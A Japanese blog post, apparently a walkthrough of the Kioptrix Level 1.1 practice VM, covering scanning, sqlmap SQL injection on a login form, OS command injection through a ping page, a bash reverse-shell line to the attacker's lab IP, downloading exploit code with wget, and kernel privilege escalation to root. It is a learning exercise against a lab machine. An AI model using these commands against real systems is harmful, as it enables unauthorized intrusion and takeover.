a

よろしくのキワミ

Kioptrix: Level 1.1解く

Kioptrix: Level 1.1解く

ここから1つやる

www.abatchy.com

調査

netdiscoverでは対象マシンが見つからなかったため、arp-scanコマンドを使用する。

f:id:toDo:20200302212143p:plain

攻撃対象のマシンのIPアドレスが分かった。

nmapを叩く

f:id:toDo:20200302212636p:plain

803306が開いている為、何かしらのWebサービスMysql DBが動いていると予想できる。

詳細を調べる。

$ nmap -sV -sC 192.168.56.103

f:id:toDo:20200304105716p:plain

nikto

f:id:toDo:20200304110707p:plain

特に脆弱性があるようには見えない

niktoの情報からphpで組まれていると予想。dirs3archで総当たりする

f:id:toDo:20200304111520p:plain

ブラウザで開いてみる

f:id:toDo:20200304111014p:plain

ログインフォームが表示される。

http://192.168.56.103/http://192.168.56.103/index.php/loginは同じページっぽい。

loginフォームに対して攻撃できないか試してみる。

XSSは反応がわかりづらそう(あんまり意味なさそう)なのでSQL Injectionの方で調査していくことに

パラメータを調べるためにBurp Suiteを起動する

f:id:toDo:20200304114315p:plain

ソースコードを見た方が早いね

f:id:toDo:20200304114425p:plain

usernameunamepasswordpswだとわかる。これを元にsqlmapで調べる。

$ sqlmap -o -u "http://192.168.56.103/index.php/login" --dbms MySQL --data "uname=username&psw=password" --risk=1

f:id:toDo:20200304121233p:plain

pswというパラメータにSQL Injectionkの脆弱性が見つかる。
試しに入れてログインしてみるとログインできた

ログインすると以下のページが表示される

f:id:toDo:20200304122039p:plain

pingが送れるのかな?

試しに127.0.0.1を入れてみるとログインフォームに戻されるので、正規のパスワードを取得する必要がある。

--dumpオプションをつけて表示させる。

f:id:toDo:20200304122936p:plain

2人のユーザのunamepswがわかる。

しかしadminアカウントでログインし、127.0.0.1を入れsubmitを押すが、なぜかログインフォームに戻される。

httpsでアクセスしたらログイン状態が保持されたのでhttpsで接続するようにした。

無事ログインできたのでpingを送信してみる。

f:id:toDo:20200305051019p:plain

若年の感からOS command Injection通りそうなので試してみると、以下のような形式でコマンドが通ることがわかった。

; ifconfig

普通ですね。
OS Command Injectionが通るのでncでリバースシェルを張る事にする。

payload書く

下記の記事を丸々参考にしました。

kusuwada.hatenablog.com

  • 攻撃対象に送信する文字列
;bash -i >& /dev/tcp/192.168.56.102/8000 0>&1

※ 192.168.56.102は攻撃者のIPアドレス

  • 攻撃者のマシンで待ち受けておく
nc -nvlp 8000

あとはこれを実行してやる事でshellが取れる

f:id:toDo:20200305052415p:plain

とったshellはapacheの権限しかない

f:id:toDo:20200306052927p:plain

なので、管理者の権限にする方法を探る

OSやkernelなどのバージョンを見てみる。

f:id:toDo:20200306054710p:plain

OSのバージョンが明らかに古いので、脆弱性があるかを調べてみる

$ searchsploit centos 4.5

f:id:toDo:20200306062325p:plain

脆弱性が見つかった。

9542.cが条件を満たしている。

payloadをworkディレクトリにコピーして、攻撃対象のサーバに送る。

$ cp $(locate 9542.c) .
$ python3 -m http.server 8000

あとはshellを張っている攻撃対象のマシンからwgetで取得すればいいのだが、権限の問題でファイルを作成できない場所があるので適当な場所に移動して落としてくる

$ cd /tmp
$ wget 192.168.56.102:8000/9542.c # download
$ gcc 9542.c # build
$ chmod +x a.out
$ ./a.out # run

すると以下のように表示され、うまく走らない

[-] exploit failed, try again

ビルド時にwarningが出ていたのでそれが原因なのかもしれない

warningの内容を調べてみると最後の行に改行が入ってないという警告らしい。

しかし改行を入れて再びビルドしてやるとwarningは消えたがまだ実行時にこける...

詰まったので断腸の思いで少しだけwriteupを見る事にします。

jakebacker.com

上のブログが私と同じように[-] exploit failed, try againが発生しており、他の脆弱性を探す方向にシフトしています。

仕方ないので私も他の方法で権限を昇格させる事にしました。

wgetでツールをコピーしてきて

$ wget 192.168.56.102:8000/linuxprivchecker.py

攻撃対象のマシンで実行してやる

$ python linuxprivchecker.py

f:id:toDo:20200310041633p:plain

たくさん出てきた。

sock_sendpage()っていうのを使ってみる事にする。

$ cp $(locate 9598.txt) .

テキストファイルなので中をみる

This is the second version of Linux sock_sendpage() NULL pointer dereference exploit. Now, it also works with Linux kernel versions which implements COW credentials (e.g. Fedora 11). For SELinux enforced systems, it automatically searches in the SELinux policy rules for types with mmap_zero permission it can transition, and tries to exploit the system with that types. https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz (2009-linux-sendpage2.tar.gz) milw0rm.com [2009-09-09]

別の場所からバイナリを落として来ないといけないらしい。

$ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/9598.tar.gz

手順通りにファイルを落としてきて実行してやる。

$ run

f:id:toDo:20200310045954p:plain

いろいろ回り道したけどrootをとることができた~

感想

他の人のwriteupをみると、mysql脆弱性から権限を昇格したりしている。

$ ps -A

などで動いているプロセスを確認してそこからいろいろやるのも面白そう

PS: 最近hacktheboxにハマってます。

プライバシーポリシー お問い合わせ